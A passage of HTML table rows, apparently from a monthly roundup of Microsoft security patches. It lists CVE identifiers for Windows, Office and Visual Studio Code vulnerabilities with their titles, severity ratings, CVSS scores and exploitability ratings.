  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45457"><span>CVE-2026-45457</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42980"><span>CVE-2026-42980</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42916"><span>CVE-2026-42916</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45649"><span>CVE-2026-45649</span></a></td>
  <td width="256" class="xl68">Office for Android
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47653"><span>CVE-2026-47653</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42909"><span>CVE-2026-42909</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42913"><span>CVE-2026-42913</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42993"><span>CVE-2026-42993</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45588"><span>CVE-2026-45588</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48568"><span>CVE-2026-48568</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48570"><span>CVE-2026-48570</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48573"><span>CVE-2026-48573</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48575"><span>CVE-2026-48575</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48576"><span>CVE-2026-48576</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48578"><span>CVE-2026-48578</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45654"><span>CVE-2026-45654</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45656"><span>CVE-2026-45656</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-8863"><span>CVE-2026-8863</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40376"><span>CVE-2026-40376</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47281"><span>CVE-2026-47281</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47284"><span>CVE-2026-47284</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47292"><span>CVE-2026-47292</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  MSSQL Extension Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48569"><span>CVE-2026-48569</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47287"><span>CVE-2026-47287</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42829"><span>CVE-2026-42829</span></a></td>
  <td width="256" class="xl68">Windows Administrator
  Protection Secure Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70"></td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34335"><span>CVE-2026-34335</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45601"><span>CVE-2026-45601</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45598"><span>CVE-2026-45598</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45596"><span>CVE-2026-45596</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45638"><span>CVE-2026-45638</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45603"><span>CVE-2026-45603</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42911"><span>CVE-2026-42911</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45594"><span>CVE-2026-45594</span></a></td>
  <td width="256" class="xl68">Windows Application
  Identity (AppID) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45655"><span>CVE-2026-45655</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45658"><span>CVE-2026-45658</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45640"><span>CVE-2026-45640</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth Port
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45605"><span>CVE-2026-45605</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47656"><span>CVE-2026-47656</span></a></td>
  <td width="256" class="xl68">Windows Boot Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44809"><span>CVE-2026-44809</span></a></td>
  <td width="256" class="xl68">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45634"><span>CVE-2026-45634</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45608"><span>CVE-2026-45608</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41108"><span>CVE-2026-41108</span></a></td>
  <td width="256" class="xl68">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42905"><span>CVE-2026-42905</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44811"><span>CVE-2026-44811</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44808"><span>CVE-2026-44808</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44807"><span>CVE-2026-44807</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42983"><span>CVE-2026-42983</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44802"><span>CVE-2026-44802</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44813"><span>CVE-2026-44813</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44804"><span>CVE-2026-44804</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48566"><span>CVE-2026-48566</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44814"><span>CVE-2026-44814</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45602"><span>CVE-2026-45602</span></a></td>
  <td width="256" class="xl68">Windows Dynamic Host
  Configuration Protocol (DHCP) Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42836"><span>CVE-2026-42836</span></a></td>
  <td width="256" class="xl68">Windows Function
  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42910"><span>CVE-2026-42910</span></a></td>
  <td width="256" class="xl68">Windows Hotpatch
  Monitoring Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42972"><span>CVE-2026-42972</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45592"><span>CVE-2026-45592</span></a></td>
  <td width="256" class="xl68">Windows Internet
  (wininet.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42903"><span>CVE-2026-42903</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42914"><span>CVE-2026-42914</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48583"><span>CVE-2026-48583</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45653"><span>CVE-2026-45653</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42984"><span>CVE-2026-42984</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45600"><span>CVE-2026-45600</span></a></td>
  <td width="256" class="xl68">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45604"><span>CVE-2026-45604</span></a></td>
  <td width="256" class="xl68">Windows Managed
  Installer Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45595"><span>CVE-2026-45595</span></a></td>
  <td width="256" class="xl68">Windows Mark of the
  Web Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45636"><span>CVE-2026-45636</span></a></td>
  <td width="256" class="xl68">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50508"><span>CVE-2026-50508</span></a></td>
  <td width="256" class="xl68">Windows NTLM Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48565"><span>CVE-2026-48565</span></a></td>
  <td width="256" class="xl68">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44805"><span>CVE-2026-44805</span></a></td>
  <td width="256" class="xl68">Windows Network
  Controller (NC) Host Agent Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
